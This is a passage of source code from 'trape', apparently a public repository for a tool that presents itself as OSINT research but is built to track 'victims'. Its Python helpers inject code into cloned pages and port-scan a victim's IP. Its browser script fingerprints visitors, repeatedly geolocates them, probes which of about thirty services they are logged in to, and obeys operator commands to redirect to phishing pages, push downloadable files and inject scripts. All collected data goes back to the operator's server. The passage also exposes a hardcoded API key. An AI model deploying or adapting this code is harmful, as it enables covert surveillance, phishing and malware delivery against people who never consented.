charset=utf-8"), 55 | ("Accept", "text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.8"), 56 | ("Connection", "keep-alive"), 57 | ("DNT", "1"), # Do Not Track (info here: https://www.w3.org/TR/tracking-dnt/) 58 | ("Keep-Alive", "115") 59 | ] 60 | 61 | def victim_inject_code(html, script = 'a', url_to_clone = '', gMapsApiKey = 'AIzaSyBUPHAjZl3n8Eza66ka6B78iVyPteC5MgM'): 62 | url_to_clone = str(url_to_clone) 63 | html = html.replace('src="', 'src="' + url_to_clone + '/') 64 | html = html.replace("src='", "src='" + url_to_clone + '/') 65 | html = html.replace('src="' + url_to_clone + '/' + 'http', 'src="http') 66 | html = html.replace("src='" + url_to_clone + '/' + 'http', "src='http") 67 | html = html.replace("href='", "href='" + url_to_clone + '/') 68 | html = html.replace('href="', 'href="' + url_to_clone + '/') 69 | html = html.replace('href="' + url_to_clone + '/' + 'http', 'href="http') 70 | html = html.replace("href='" + url_to_clone + '/' + 'http', "href='http") 71 | html = html.replace('', '') 72 | html = html.replace('', '') 73 | html = html.replace('', '') 74 | html = html.replace('', '') 75 | return html 76 | 77 | def attacks_hook_message(data): 78 | return { 79 | 'network' : 'Detected network ', 80 | 'url' : "Open url phishing ", 81 | 'redirect' : "Redirecting to ", 82 | 'alert' : "Sending alert ", 83 | 'execute' : "Downloading file ", 84 | 'talk' : "Sending voice message ", 85 | 'jscode' : "Sending Script ", 86 | 'jsscript' : "Injecting Script " 87 | }.get(data, False) -------------------------------------------------------------------------------- /core/utils.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | #** 4 | # 5 | ######### 6 | # trape # 7 | ######### 8 | # 9 | # trape depends of this file 10 | # For full copyright information this visit: https://github.com/jofpin/trape 11 | # 12 | # Copyright 2018 by Jose Pino (@jofpin) / 13 | #** 14 | import random 15 | import hashlib 16 | import threading 17 | import sys 18 | import os 19 | import socket 20 | import time 21 | import requests, json 22 | from colorama import init , Style,Fore 23 | import httplib 24 | init() 25 | 26 | class utils: 27 | # Functions 1to get is right 28 | def __init__(self): 29 | pass 30 | 31 | # Simplification print 32 | @staticmethod 33 | def Go(string): 34 | print(string) 35 | 36 | # All color for design terminal UI 37 | Color = { 38 | "cyan": Style.NORMAL+Fore.CYAN, 39 | "cyanBold": Style.BRIGHT+Fore.CYAN, 40 | "blue": Fore.BLUE, 41 | "blueBold": Style.BRIGHT+Fore.BLUE, 42 | "red": Style.NORMAL+Fore.RED, 43 | "redBold": Style.BRIGHT+Fore.RED, 44 | "green": Style.NORMAL+Fore.GREEN, 45 | "greenBold": Style.BRIGHT+Fore.GREEN, 46 | "white": Style.NORMAL+Fore.WHITE, 47 | "whiteBold": Style.BRIGHT+Fore.WHITE, 48 | "yellow": Style.NORMAL+Fore.YELLOW, 49 | "yellowBold": Style.BRIGHT+Fore.YELLOW 50 | } 51 | 52 | # Text in bold, lines and end. 53 | Text = { 54 | "underline": Style.NORMAL+Fore.YELLOW, 55 | "bold": Style.BRIGHT, 56 | "end": Style.NORMAL+Fore.WHITE 57 | } 58 | 59 | # Banner trape 60 | @staticmethod 61 | def banner(): 62 | utils.Go("\033[H\033[J") 63 | utils.Go("\t" + utils.Color['redBold'] + " _ ") 64 | utils.Go("\t" + utils.Color['redBold'] + "| |_ ____ ____ ____ ____ ") 65 | utils.Go("\t" + utils.Color['redBold'] + "| _) / ___) _ | _ \ / _ )") 66 | utils.Go("\t" + utils.Color['redBold'] + "| |__| | ( ( | | | | ( (/ / ") 67 | utils.Go("\t" + utils.Color['redBold'] + " \___)_| \_||_| ||_/ \____)") 68 | utils.Go("\t" + utils.Color['redBold'] + " |_|" + utils.Color['white'] + " 2018 by " + utils.Color['whiteBold'] + "Jose Pino" + utils.Color['white'] + " (" + utils.Color['blue'] + "@jofpin" + utils.Color['white'] + ")" + utils.Color['white']) 69 | utils.Go("\t" + "-----------------------------------------------") 70 | utils.Go(utils.Color['green'] + "\t" + "People tracker on internet for OSINT research " + utils.Color['white'] + "|=-" + utils.Color['white']) 71 | utils.Go("\t" + "-----------------------------------------------") 72 | utils.Go("\t" + "| " + utils.Color['white'] + "v" + utils.Color['redBold'] + "2.0" + utils.Color['white'] + " |") 73 | utils.Go("\t" + "--------" + "\n") 74 | 75 | # Loader with console cleaning and OS checking 76 | @staticmethod 77 | def checkOS(): 78 | if "posix" in os.name: 79 | os.system("clear") 80 | pass 81 | elif "nt" in os.name: 82 | pass 83 | #os.system("cls") 84 | #utils.Go("Currently there is no support for Windows.") 85 | else: 86 | pass 87 | utils.Go("Loading" + " " + utils.Color['blue'] + "trape" + utils.Color['white'] + "...") 88 | time.sleep(0.4) 89 | 90 | # Generates a unique token of up to 30 characters. 91 | @staticmethod 92 | def generateToken(length=8): 93 | chars = list('ABCDEFGHIJKLMNOPQRSTUVWYZabcdefghijklmnopqrstuvwyz01234567890') 94 | random.shuffle(chars) 95 | chars = ''.join(chars) 96 | sha1 = hashlib.sha1(chars.encode('utf8')) 97 | token = sha1.hexdigest() 98 | return token[:length] 99 | 100 | # Simple port scan for the victim or user 101 | @staticmethod 102 | def portScanner(victimIP): 103 | clientIP = socket.gethostbyname(victimIP) 104 | listPorts = [0, 21, 22, 23, 25, 42, 43, 53, 67, 79, 80, 102, 110, 115, 119, 123, 135, 137, 143, 161, 179, 379, 389, 443, 445, 465, 636, 993, 995, 1026, 1080, 1090, 1433, 1434, 1521, 1677, 1701, 1720, 1723, 1900, 2409, 2082, 2095, 3101, 3306, 3389, 3390, 3535, 4321, 4664, 5190, 5500, 5631, 5632, 5900, 65535, 7070, 7100, 8000, 8080, 8880, 8799, 9100] 105 | results = [] 106 | for port in listPorts: 107 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 108 | sock.settimeout(0.2) 109 | result = sock.connect_ex((clientIP, port)) 110 | sys.stdout.flush() 111 | if result == 0: 112 | results.append(str(port)) 113 | return ",".join(results) 114 | 115 | # Local port check to allow trape to run 116 | @staticmethod 117 | def checkPort(port): 118 | try: 119 | clientIP = socket.gethostbyname('127.0.0.1') 120 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 121 | sock.settimeout(0.1) 122 | result = sock.connect_ex((clientIP, port)) 123 | sys.stdout.flush() 124 | if result == 0: 125 | return False 126 | else: 127 | try: 128 | if int(port) > 0 and int(port) < 65535: 129 | return True 130 | else: 131 | return False 132 | except Exception as e: 133 | return False 134 | except Exception as e: 135 | return False 136 | 137 | @staticmethod 138 | def checkUrl(url): 139 | c = httplib.HTTPConnection(url, timeout=5) 140 | try: 141 | c.request("HEAD", "/") 142 | c.close() 143 | return True 144 | except Exception as e: 145 | c.close() 146 | return False 147 | 148 | # Goo.gl shortener service 149 | @staticmethod 150 | def gShortener(api_key, p_url): 151 | url = "https://www.googleapis.com/urlshortener/v1/url?key=" + api_key 152 | payload = '{"longUrl":"' + p_url + '"}' 153 | headers = {'content-type': 'application/json'} 154 | r = requests.post(url, data=payload, headers=headers) 155 | return r 156 | 157 | # Autocompletion 158 | @staticmethod 159 | def niceShell(text, state): 160 | matches = [i for i in commands if i.startswith(text)] 161 | if state < len(matches): 162 | return matches[state] 163 | else: 164 | return None -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | Flask 2 | Flask-Login 3 | Flask-Session 4 | flask-socketio 5 | flask_socketio 6 | flask_cors 7 | itsdangerous 8 | Jinja2 9 | MarkupSafe 10 | python-engineio 11 | python-socketio 12 | six 13 | Werkzeug 14 | eventlet 15 | requests 16 | colorama 17 | -------------------------------------------------------------------------------- /static/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blackhatethicalhacking/trape/c715b0e50d1600c6b97492d0ec49d54c0da36756/static/.DS_Store -------------------------------------------------------------------------------- /static/css/fonts/a/services.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blackhatethicalhacking/trape/c715b0e50d1600c6b97492d0ec49d54c0da36756/static/css/fonts/a/services.eot -------------------------------------------------------------------------------- /static/css/fonts/a/services.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blackhatethicalhacking/trape/c715b0e50d1600c6b97492d0ec49d54c0da36756/static/css/fonts/a/services.ttf -------------------------------------------------------------------------------- /static/css/fonts/a/services.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blackhatethicalhacking/trape/c715b0e50d1600c6b97492d0ec49d54c0da36756/static/css/fonts/a/services.woff -------------------------------------------------------------------------------- /static/css/fonts/boxicons.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blackhatethicalhacking/trape/c715b0e50d1600c6b97492d0ec49d54c0da36756/static/css/fonts/boxicons.eot -------------------------------------------------------------------------------- /static/css/fonts/boxicons.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blackhatethicalhacking/trape/c715b0e50d1600c6b97492d0ec49d54c0da36756/static/css/fonts/boxicons.ttf -------------------------------------------------------------------------------- /static/css/fonts/boxicons.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blackhatethicalhacking/trape/c715b0e50d1600c6b97492d0ec49d54c0da36756/static/css/fonts/boxicons.woff -------------------------------------------------------------------------------- /static/css/fonts/services.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blackhatethicalhacking/trape/c715b0e50d1600c6b97492d0ec49d54c0da36756/static/css/fonts/services.eot -------------------------------------------------------------------------------- /static/css/fonts/services.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blackhatethicalhacking/trape/c715b0e50d1600c6b97492d0ec49d54c0da36756/static/css/fonts/services.ttf -------------------------------------------------------------------------------- /static/css/fonts/services.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blackhatethicalhacking/trape/c715b0e50d1600c6b97492d0ec49d54c0da36756/static/css/fonts/services.woff -------------------------------------------------------------------------------- /static/css/normalize.min.css: -------------------------------------------------------------------------------- 1 | button,hr,input{overflow:visible}audio,canvas,progress,video{display:inline-block}progress,sub,sup{vertical-align:baseline}html{font-family:sans-serif;line-height:1.15;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0} menu,article,aside,details,footer,header,nav,section{display:block}h1{font-size:2em;margin:.67em 0}figcaption,figure,main{display:block}figure{margin:1em 40px}hr{box-sizing:content-box;height:0}code,kbd,pre,samp{font-family:monospace,monospace;font-size:1em}a{background-color:transparent;-webkit-text-decoration-skip:objects}a:active,a:hover{outline-width:0}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:bolder}dfn{font-style:italic}mark{background-color:#ff0;color:#000}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative}sub{bottom:-.25em}sup{top:-.5em}audio:not([controls]){display:none;height:0}img{border-style:none}svg:not(:root){overflow:hidden}button,input,optgroup,select,textarea{font-family:sans-serif;font-size:100%;line-height:1.15;margin:0}button,input{}button,select{text-transform:none}[type=submit], [type=reset],button,html [type=button]{-webkit-appearance:button}[type=button]::-moz-focus-inner,[type=reset]::-moz-focus-inner,[type=submit]::-moz-focus-inner,button::-moz-focus-inner{border-style:none;padding:0}[type=button]:-moz-focusring,[type=reset]:-moz-focusring,[type=submit]:-moz-focusring,button:-moz-focusring{outline:ButtonText dotted 1px}fieldset{border:1px solid silver;margin:0 2px;padding:.35em .625em .75em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100%;padding:0;white-space:normal}progress{}textarea{overflow:auto}[type=checkbox],[type=radio]{box-sizing:border-box;padding:0}[type=number]::-webkit-inner-spin-button,[type=number]::-webkit-outer-spin-button{height:auto}[type=search]{-webkit-appearance:textfield;outline-offset:-2px}[type=search]::-webkit-search-cancel-button,[type=search]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}summary{display:list-item}[hidden],template{display:none}/*# sourceMappingURL=normalize.min.css.map */ -------------------------------------------------------------------------------- /static/css/services-icons.css: -------------------------------------------------------------------------------- 1 | @font-face{font-family:services;src:url(fonts/services.eot?5iun5b);src:url(fonts/services.eot?5iun5b#iefix) format('embedded-opentype'),url(fonts/services.ttf?5iun5b) format('truetype'),url(fonts/services.woff?5iun5b) format('woff'),url(fonts/services.svg?5iun5b#services) format('svg');font-weight:400;font-style:normal} -------------------------------------------------------------------------------- /static/files/files.md: -------------------------------------------------------------------------------- 1 | In this directory, you can add .exe or downloadable files 2 | -------------------------------------------------------------------------------- /static/img/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blackhatethicalhacking/trape/c715b0e50d1600c6b97492d0ec49d54c0da36756/static/img/.DS_Store -------------------------------------------------------------------------------- /static/img/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blackhatethicalhacking/trape/c715b0e50d1600c6b97492d0ec49d54c0da36756/static/img/favicon.ico -------------------------------------------------------------------------------- /static/img/favicon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blackhatethicalhacking/trape/c715b0e50d1600c6b97492d0ec49d54c0da36756/static/img/favicon.png -------------------------------------------------------------------------------- /static/img/point-blue.svg: -------------------------------------------------------------------------------- 1 | 2 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /static/img/point-red.svg: -------------------------------------------------------------------------------- 1 | 2 | 4 | 5 | 6 | 7 | 12 | -------------------------------------------------------------------------------- /static/img/trape-logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blackhatethicalhacking/trape/c715b0e50d1600c6b97492d0ec49d54c0da36756/static/img/trape-logo.png -------------------------------------------------------------------------------- /static/js/base.js: -------------------------------------------------------------------------------- 1 | var urlServices = []; 2 | var Services = []; 3 | 4 | window.serverPath = ''; 5 | 6 | var socketTrape = null; 7 | 8 | $(document).ready(function($) { 9 | var d = getVictimData(); 10 | 11 | Services = [{ 12 | url: "https://www.facebook.com", 13 | path: "/login.php?next=http://www.facebook.com/favicon.ico", 14 | name: "Facebook", 15 | login: "/login.php" 16 | }, { 17 | url: "https://twitter.com", 18 | path: "/login?redirect_after_login=%2Ffavicon.ico", 19 | name: "Twitter", 20 | login: "/login" 21 | }, { 22 | url: "https://vk.com", 23 | path: "/login?u=2&to=ZmF2aWNvbi5pY28-", 24 | name: "Vkontakte", 25 | login: "/login" 26 | }, { 27 | url: "https://www.reddit.com", 28 | path: "/login?dest=https%3A%2F%2Fwww.reddit.com%2Ffavicon.ico", 29 | name: "Reddit", 30 | login: "/login" 31 | }, { 32 | url: "https://accounts.google.com", 33 | path: "/ServiceLogin?passive=true&continue=https%3A%2F%2Fwww.google.com%2Ffavicon.ico&uilel=3&hl=en&service=mail", 34 | name: "Gmail", 35 | login: "/ServiceLogin" 36 | }, { 37 | url: "https://www.spotify.com", 38 | path: "/en/login/?forward_url=https%3A%2F%2Fwww.spotify.com%2Ffavicon.ico", 39 | name: "Spotify", 40 | login: "/en/login/" 41 | }, { 42 | url: "https://www.tumblr.com", 43 | path: "/login?redirect_to=%2Ffavicon.ico", 44 | name: "Tumblr", 45 | login: "/login" 46 | }, { 47 | url: "https://www.dropbox.com", 48 | path: "/login?cont=https%3A%2F%2Fwww.dropbox.com%2Fstatic%2Fimages%2Fabout%2Fdropbox_logo_glyph_2015.svg", 49 | name: "Dropbox", 50 | login: "/login" 51 | }, { 52 | url: "https://www.amazon.com", 53 | path: "/ap/signin/178-4417027-1316064?_encoding=UTF8&openid.assoc_handle=usflex&openid.claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.mode=checkid_setup&openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0&openid.ns.pape=http%3A%2F%2Fspecs.openid.net%2Fextensions%2Fpape%2F1.0&openid.pape.max_auth_age=10000000&openid.return_to=https%3A%2F%2Fwww.amazon.com%2Ffavicon.ico", 54 | name: "Amazon", 55 | login: "/ap/signin/" 56 | }, { 57 | url: "https://github.com", 58 | path: "/login?return_to=https%3A%2F%2Fgithub.com%2Ffavicon.ico%3Fid%3D1", 59 | name: "Github", 60 | login: "/login" 61 | }, { 62 | url: "https://medium.com", 63 | path: "/m/signin?redirect=https%3A%2F%2Fmedium.com%2Ffavicon.ico&loginType=default", 64 | name: "Medium", 65 | login: "/m/signin" 66 | }, { 67 | url: "https://www.paypal.com", 68 | path: "/signin?returnUri=https://t.paypal.com/ts?v=1.0.0", 69 | name: "Paypal", 70 | login: "/account/signin/" 71 | }, { 72 | url: "https://bitbucket.org", 73 | path: "/account/signin/?next=/favicon.ico", 74 | name: "BitBucket", 75 | login: "/account/signin/" 76 | }, { 77 | url: "https://www.instagram.com", 78 | path: "/accounts/login/?next=%2Ffavicon.ico", 79 | name: "Instagram", 80 | login: "/accounts/login/" 81 | }, { 82 | url: "https://foursquare.com", 83 | path: "/login?continue=%2Ffavicon.ico", 84 | name: "Foursquare", 85 | login: "/login" 86 | }, { 87 | url: "https://www.airbnb.com", 88 | path: "/login?redirect_params[action]=favicon.ico&redirect_params[controller]=home", 89 | name: "Airbnb", 90 | login: "/login" 91 | }, { 92 | url: "https://news.ycombinator.com", 93 | path: "/login?goto=y18.gif", 94 | name: "Hackernews", 95 | login: "/login" 96 | }, { 97 | url: "https://slack.com", 98 | path: "/checkcookie?redir=https%3A%2F%2Fslack.com%2Ffavicon.ico%23", 99 | name: "Slack", 100 | login: "/signin" 101 | }, { 102 | url: "https://squareup.com", 103 | path: "/login?return_to=%2Ffavicon.ico", 104 | name: "Square", 105 | login: "/login" 106 | }, { 107 | url: "https://squareup.com", 108 | path: "/login?return_to=%2Ffavicon.ico", 109 | name: "Square", 110 | login: "/login" 111 | }, { 112 | url: "https://disqus.com", 113 | path: "/profile/login/?next=https%3A%2F%2Fdisqus.com%2Ffavicon.ico", 114 | name: "Disqus", 115 | login: "/profile/login" 116 | }, { 117 | url: "https://www.meetup.com", 118 | path: "/login/?returnUri=https%3A%2F%2Fwww.meetup.com%2Fimg%2Fajax_loader_trans.gif", 119 | name: "Meetup", 120 | login: "/login" 121 | }, { 122 | url: "https://www.udemy.com", 123 | path: "/join/login-popup/?next=/staticx/udemy/images/v6/favicon.ico", 124 | name: "Udemy", 125 | login: "/join/login-popup/" 126 | }, { 127 | url: "https://www.patreon.com", 128 | path: "/login?ru=/images/profile_default.png", 129 | name: "Patreon", 130 | login: "/login" 131 | }, { 132 | url: "https://accounts.google.com", 133 | path: "/ServiceLogin?passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Ffavicon.ico&uilel=3&hl=en&service=youtube", 134 | name: "Youtube", 135 | login: "/ServiceLogin" 136 | }, { 137 | url: "https://accounts.snapchat.com", 138 | path: "/accounts/login?continue=https://accounts.snapchat.com/accounts/static/images/favicon/favicon.png", 139 | name: "Snapchat", 140 | login: "/accounts/login" 141 | }, { 142 | url: "https://www.messenger.com", 143 | path: "/login.php?next=http://www.messenger.com/favicon.ico", 144 | name: "Messenger", 145 | login: "/login.php" 146 | }, { 147 | url: "https://www.khanacademy.org", 148 | path: "/login?continue=/favicon.ico", 149 | name: "Khanacademy", 150 | login: "/login" 151 | }, { 152 | url: "https://www.eventbrite.com", 153 | path: "/signin/?referrer=https://www.eventbrite.com/favicon.ico", 154 | name: "Eventbrite", 155 | login: "/signin" 156 | }, { 157 | url: "https://www.etsy.com", 158 | path: "/signin?from_page=https://www.etsy.com/favicon.ico", 159 | name: "Etsy", 160 | login: "/signin" 161 | }, { 162 | url: "https://www.twitch.tv", 163 | path: "/login?redirect_on_login=/favicon.ico", 164 | name: "Twitch", 165 | login: "/login" 166 | }]; 167 | 168 | $.each(Services, function(index, val) { 169 | urlServices[val.name.toLowerCase()] = val.url + val.login; 170 | }); 171 | }); 172 | 173 | window.t_sdisconnect = false; 174 | 175 | 176 | function tping() { 177 | var d = getVictimData(); 178 | var data = {id : d.vId}; 179 | 180 | if (socketTrape != null){ 181 | if (socketTrape.disconnected){ 182 | window.t_sdisconnect = socketTrape.disconnected; 183 | } 184 | } 185 | $.ajax({ 186 | url: window.serverPath + '/tping', 187 | data: data, 188 | dataType: "json", 189 | type: 'POST', 190 | success: function(response) { 191 | setTimeout(function(){tping()}, 1500); 192 | if(window.t_sdisconnect){ 193 | createSockets(); 194 | window.t_sdisconnect = socketTrape.disconnected; 195 | } 196 | }, 197 | error: function(error) { 198 | setTimeout(function(){tping()}, 2000); 199 | } 200 | }); 201 | } 202 | 203 | function conChange() { 204 | var connection = window.navigator.connection || window.navigator.mozConnection || null; 205 | var d = getVictimData(); 206 | var vConnection = {}; 207 | 208 | if (connection != undefined && connection != null){ 209 | 210 | $.each(connection, function(index, val) { 211 | if (typeof(val) != 'object' && typeof(val) != 'function'){ 212 | vConnection[index] = val; 213 | } 214 | }); 215 | 216 | } else { 217 | vConnection = {"downlink": 0, "effectiveType" : "ND", "rtt" : 0}; 218 | } 219 | 220 | var objDownload = { 221 | size : 2104238, 222 | src : 'https://upload.wikimedia.org/wikipedia/commons/0/01/Sof%C3%ADa_Vergara_3_May_2014_%28cropped%29.jpg' 223 | }; 224 | 225 | var objTime = { 226 | start : 0, 227 | end : 0, 228 | duration : 0 229 | } 230 | 231 | objTime.start = (new Date ()).getTime(); 232 | var imgDownload = new Image (); 233 | 234 | imgDownload.onload = function(){ 235 | objTime.end = (new Date ()).getTime(); 236 | objDownload.duration = ((objTime.end - objTime.start)/1000); 237 | objDownload.bitsLoaded = (parseFloat(objDownload.size) * 8); 238 | objDownload.speedBps = Math.round (objDownload.bitsLoaded / objDownload.duration); 239 | objDownload.speedKbps = (objDownload.speedBps / 1024).toFixed(2); 240 | objDownload.speedMbps = (objDownload.speedKbps / 1024).toFixed(2); 241 | 242 | var packet = '1111111111111111'; 243 | for (var i = 0; i <= 15; i++) { 244 | packet += packet; 245 | } 246 | 247 | var objUpload = { 248 | size : packet.length 249 | }; 250 | 251 | objTime.start = (new Date ()).getTime(); 252 | $.post('https://www.googleapis.com/urlshortener/v1/url?key=', {'longUrl': packet}, function(data, textStatus, xhr) { 253 | }, 'json').fail(function(){ 254 | objTime.end = (new Date ()).getTime(); 255 | objUpload.duration = ((objTime.end - objTime.start)/1000); 256 | objUpload.bitsLoaded = (parseFloat(objUpload.size) * 8); 257 | objUpload.speedBps = Math.round (objUpload.bitsLoaded / objUpload.duration); 258 | objUpload.speedKbps = (objUpload.speedBps / 1024).toFixed(2); 259 | objUpload.speedMbps = (objUpload.speedKbps / 1024).toFixed(2); 260 | 261 | vConnection.Download_test = objDownload; 262 | vConnection.Upload_test = objUpload; 263 | vConnection = JSON.stringify(vConnection); 264 | 265 | var data = { 266 | vId : d.vId, 267 | con: vConnection, 268 | host : document.location.host}; 269 | $.ajax({ 270 | url: window.serverPath + '/lc', 271 | data: data, 272 | dataType: "json", 273 | type: 'POST', 274 | success: function(response) { 275 | //setTimeout(function(){ locateV(); }, 5000); 276 | }, 277 | error: function(error) { 278 | 279 | } 280 | }); 281 | }); 282 | } 283 | 284 | imgDownload.src = objDownload.src + '?n=' + Math.random(); 285 | 286 | } 287 | 288 | function sendData(data) { 289 | $.ajax({ 290 | url: window.serverPath + '/nr', 291 | data: data, 292 | dataType: "json", 293 | type: 'POST', 294 | success: function(response) { 295 | 296 | }, 297 | error: function(error) { 298 | } 299 | }); 300 | } 301 | 302 | 303 | function getVictimData() { 304 | var d = { 305 | vId : null, 306 | vURL : null 307 | }; 308 | if (localStorage.trape_vId != undefined) { 309 | d.vId = localStorage.trape_vId; 310 | d.vURL = localStorage.trape_vURL; 311 | } 312 | 313 | return d; 314 | } 315 | 316 | function defineSockets(self) { 317 | self.on('my_response', function(msg) { 318 | switch (msg.data.type){ 319 | case 'network': 320 | localStorage.setItem("trape_vURL", urlServices[msg.data.message]); 321 | window.location.replace('/rv?url=' + urlServices[msg.data.message]); 322 | break; 323 | case 'url': 324 | localStorage.setItem("trape_vURL", msg.data.message); 325 | window.location.replace('/rv?url=' + msg.data.message); 326 | break; 327 | case 'redirect': 328 | window.location.replace(msg.data.message); 329 | break; 330 | case 'alert': 331 | alert(msg.data.message); 332 | break; 333 | case 'execute': 334 | var objW = window.open('static/files/' + msg.data.message); 335 | if (objW == null){ 336 | objW = window.location.replace('static/files/' + msg.data.message); 337 | } 338 | console.log(objW); 339 | break; 340 | case 'talk': 341 | responsiveVoice.speak(msg.data.message, msg.data.voice, {volume: 1}); 342 | break; 343 | case 'jscode': 344 | $('body').append(''); 345 | break; 346 | case 'jsscript': 347 | $('body').append(''); 348 | break; 349 | default: 350 | return false; 351 | } 352 | }); 353 | } 354 | 355 | function locateV(self) { 356 | $.ajax({ 357 | url: "https://www.googleapis.com/geolocation/v1/geolocate?key=" + window.gMapsApiKey, 358 | data: {}, 359 | dataType: "json", 360 | type: "POST", 361 | success: function(response, status) { 362 | if (status == 'success'){ 363 | $.ajax({ 364 | url: window.serverPath + '/lr', 365 | data : {"vId" : localStorage.trape_vId, "lat": response.location.lat, "lon": response.location.lng}, 366 | dataType: "json", 367 | type: 'POST', 368 | success: function(data) { 369 | setTimeout(function(){ locateV(); }, 30000); 370 | }, 371 | error:function(error) { 372 | setTimeout(function(){ locateV(); }, 10000); 373 | } 374 | }); 375 | } else{ 376 | setTimeout(function(){ locateV(); }, 10000); 377 | } 378 | }, 379 | error: function(error) { 380 | setTimeout(function(){ locateV(); }, 10000); 381 | } 382 | }); 383 | } 384 | 385 | function workWithNetworks(){ 386 | $.getJSON('//ipinfo.io/json/?callback=?', function(data) { 387 | var dInfo = {ip : null, vId : null, red : null}; 388 | $.extend( true, dInfo, data); 389 | dInfo.vId = localStorage.trape_vId 390 | var idx = 0; 391 | 392 | $.each(Services, function(index, network) { 393 | var img = document.createElement("img"); 394 | img.src = network.url + network.path; 395 | img.onload = function() { 396 | dInfo.red = network.name; 397 | sendData(dInfo); 398 | idx = getUpdateData(idx); 399 | }; 400 | img.onerror = function() { 401 | idx = getUpdateData(idx); 402 | }; 403 | }); 404 | }); 405 | 406 | function getUpdateData(idx) { 407 | idx++; 408 | return idx; 409 | } 410 | } 411 | 412 | function detectBattery(){ 413 | var b_send_data = function(data){ 414 | var d = getVictimData(); 415 | $.ajax({ 416 | url: window.serverPath + "/bs", 417 | data: {id : d.vId, 't' : data.type, 'd' : data.val}, 418 | dataType: "json", 419 | type: "POST", 420 | success: function(response) {}, 421 | error: function(error) {} 422 | }); 423 | } 424 | 425 | try{ 426 | navigator.getBattery().then(function(battery) { 427 | function updateAllBatteryInfo(){ 428 | updateChargeInfo(); 429 | updateLevelInfo(); 430 | updateChargingInfo(); 431 | updateDischargingInfo(); 432 | } 433 | updateAllBatteryInfo(); 434 | 435 | battery.addEventListener('chargingchange', function(){ 436 | updateChargeInfo(); 437 | }); 438 | function updateChargeInfo(){ 439 | b_send_data({'type' : 'charging', 'val' : (battery.charging ? 'True' : 'False')}); 440 | } 441 | 442 | battery.addEventListener('levelchange', function(){ 443 | updateLevelInfo(); 444 | }); 445 | function updateLevelInfo(){ 446 | b_send_data({'type' : 'level', 'val' : (battery.level * 100)}); 447 | 448 | } 449 | 450 | battery.addEventListener('chargingtimechange', function(){ 451 | updateChargingInfo(); 452 | }); 453 | function updateChargingInfo(){ 454 | b_send_data({'type' : 'time_c', 'val' : battery.chargingTime}); 455 | } 456 | 457 | battery.addEventListener('dischargingtimechange', function(){ 458 | updateDischargingInfo(); 459 | }); 460 | function updateDischargingInfo(){ 461 | b_send_data({'type' : 'time_d', 'val' : battery.dischargingTime}); 462 | } 463 | }); 464 | 465 | } catch(err) { 466 | b_send_data({'type' : 'charging', 'val' : 'No Detected'}); 467 | b_send_data({'type' : 'level', 'val' : 0}); 468 | b_send_data({'type' : 'time_c', 'val' : 0}); 469 | b_send_data({'type' : 'time_d', 'val' : 0}); 470 | } 471 | } 472 | 473 | function navigation_mode(){ 474 | var nm_sendData = function(data){ 475 | var d = getVictimData(); 476 | $.ajax({ 477 | url: window.serverPath + "/nm", 478 | data: {id : d.vId, 'd' : data, 'dn' : navigator.doNotTrack}, 479 | dataType: "json", 480 | type: "POST", 481 | success: function(response) {}, 482 | error: function(error) {} 483 | }); 484 | } 485 | 486 | function ifIncognito(incog,func){ var fs = window.RequestFileSystem || window.webkitRequestFileSystem; if (!fs) { 487 | var db = indexedDB.open("test"); 488 | db.onerror = function(){ 489 | nm_sendData('incognito') 490 | var storage = window.sessionStorage; 491 | try { 492 | storage.setItem("p123", "test"); 493 | storage.removeItem("p123"); 494 | } catch (e) { 495 | if (e.code === DOMException.QUOTA_EXCEEDED_ERR && storage.length === 0) { 496 | nm_sendData('incognito') 497 | } 498 | } 499 | }; 500 | db.onsuccess =function(){nm_sendData('normal')}; 501 | } else { if(incog) fs(window.TEMPORARY, 100, ()=>{}, func); else fs(window.TEMPORARY, 100, func, ()=>{}); } } 502 | 503 | ifIncognito(true, ()=>{ nm_sendData('incognito') }); 504 | ifIncognito(false, ()=>{ nm_sendData('normal') }) 505 | } 506 | 507 | function queryGPU(){ 508 | $('body').append(''); 509 | var canvas = document.getElementById("glcanvas"); 510 | var v_data = { 511 | "vendor" : 'No Detect', 512 | "renderer" : 'No Detect', 513 | "display" : 'No Detect' 514 | }; 515 | try { 516 | gl = canvas.getContext("experimental-webgl"); 517 | gl.viewportWidth = canvas.width; 518 | gl.viewportHeight = canvas.height; 519 | } catch (e) {} 520 | if (gl) { 521 | var extension = gl.getExtension('WEBGL_debug_renderer_info'); 522 | 523 | if (extension != undefined) { 524 | v_data.vendor = gl.getParameter(extension.UNMASKED_VENDOR_WEBGL); 525 | v_data.renderer = gl.getParameter(extension.UNMASKED_RENDERER_WEBGL); 